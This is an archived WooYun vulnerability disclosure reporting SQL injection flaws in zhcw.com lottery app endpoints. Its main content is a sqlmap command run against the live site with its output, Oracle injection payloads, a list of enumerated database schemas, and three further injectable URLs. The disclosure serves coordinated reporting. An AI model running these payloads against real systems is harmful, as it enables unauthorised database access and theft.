破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

中彩网APP端多处SQL注入(涉及多个数据库打包)

编号111355
Urlhttp://www.wooyun.org/bug.php?action=view&id=111355
漏洞状态已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞标题中彩网APP端多处SQL注入(涉及多个数据库打包)
漏洞类型SQL注射漏洞
厂商中彩网
白帽子#6c6c6c
提交日期2015-05-12 11:20:00
公开日期2015-06-29 17:52:00
修复时间(not set)
确认时间2015-05-15 00:00:00
Confirm Spend3
漏洞标签sql
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank15
漏洞简介
中彩网是“中国福利彩票发行管理中心”指定的唯一网络信息发布媒体。自1999年成立至今,经过6年多的倾力打造,中彩网已经成为全球排名第一、拥有绝对领先的访问量和用户群体的中文彩票行业垂直门户网站。
漏洞细节

F:\Python26\sqlmap>sqlmap.py -u "http://app.zhcw.com/wwwroot/zhcw/jsp/do3dsjhdc.
jsp?method=submit&issueNo=*" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:26:27
[20:26:27] [WARNING] using 'C:\Users\Administrator\.sqlmap\output' as the output
directory
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q] y
[20:26:29] [INFO] resuming back-end DBMS 'oracle'
[20:26:29] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: URI
Parameter: #1*
Type: error-based
Title: Oracle OR error-based - WHERE or HAVING clause (XMLType)
Payload: http://app.zhcw.com:80/wwwroot/zhcw/jsp/do3dsjhdc.jsp?method=submit
&issueNo=-3073' OR 1661=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(10
4)||CHR(122)||CHR(108)||CHR(113)||(SELECT (CASE WHEN (1661=1661) THEN 1 ELSE 0 E
ND) FROM DUAL)||CHR(113)||CHR(122)||CHR(105)||CHR(116)||CHR(113)||CHR(62))) FROM
DUAL) AND 'lSAl'='lSAl
Type: AND/OR time-based blind
Title: Oracle OR time-based blind
Payload: http://app.zhcw.com:80/wwwroot/zhcw/jsp/do3dsjhdc.jsp?method=submit
&issueNo=-9452' OR 2337=DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(89)||CHR(74)||CHR
(75),5) AND 'SdTI'='SdTI
---
[20:26:29] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[20:26:29] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[20:26:29] [INFO] fetching database (schema) names
[20:26:30] [INFO] the SQL query used returns 15 entries
[20:26:30] [INFO] retrieved: CTXSYS
[20:26:30] [INFO] retrieved: DBSNMP
[20:26:31] [INFO] retrieved: DMSYS
[20:26:31] [INFO] retrieved: EXFSYS
[20:26:32] [INFO] retrieved: MDSYS
[20:26:32] [INFO] retrieved: OLAPSYS
[20:26:33] [INFO] retrieved: ORDSYS
[20:26:33] [INFO] retrieved: OUTLN
[20:26:34] [INFO] retrieved: SYS
[20:26:34] [INFO] retrieved: SYSMAN
[20:26:35] [INFO] retrieved: SYSTEM
[20:26:35] [INFO] retrieved: TSMSYS
[20:26:36] [INFO] retrieved: WMSYS
[20:26:36] [INFO] retrieved: XDB
[20:26:37] [INFO] retrieved: ZHCWTEST
available databases [15]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[*] ZHCWTEST
[20:26:37] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\app.zhcw.com'
[*] shutting down at 20:26:37


第二处注入:http://app.zhcw.com/wwwroot/zhcw/jsp/ltshmtp.jsp?method=query&ISSUE_NO=*
第三处注入:http://app.zhcw.com/wwwroot/zhcw/jsp/topday.jsp?catalogName=%E5%9C%A8%E7%BA%BF%E8%AF%95%E5%88%AE*&dateFormat=MM-dd+HH%3Amm&timeType=1
第四处:http://app.zhcw.com/wwwroot/zhcw/jsp/Vote/voteAction.jsp?utilType=select&method=getVoteRankByAVG&rownum=10&catalogId=10653,10654,10655,10656,10657,10658*

POC

修复方案

过滤啊少年

状态信息 2015-05-12: 细节已通知厂商并且等待厂商处理中
2015-05-15: 厂商已经确认,细节仅向厂商公开
2015-05-25: 细节向核心白帽子及相关领域专家公开
2015-06-04: 细节向普通白帽子公开
2015-06-14: 细节向实习白帽子公开
2015-06-29: 细节向公众公开
厂商回复暂未能建立与网站管理单位的直接处置渠道,待认领。
回应信息危害等级:高漏洞Rank:15 确认时间:2015-05-15 17:51
Showing 1-1 of 1 item.
评论内容评论人点赞数评论时间

哦?不错哦!

小川02015-05-12 11:24:00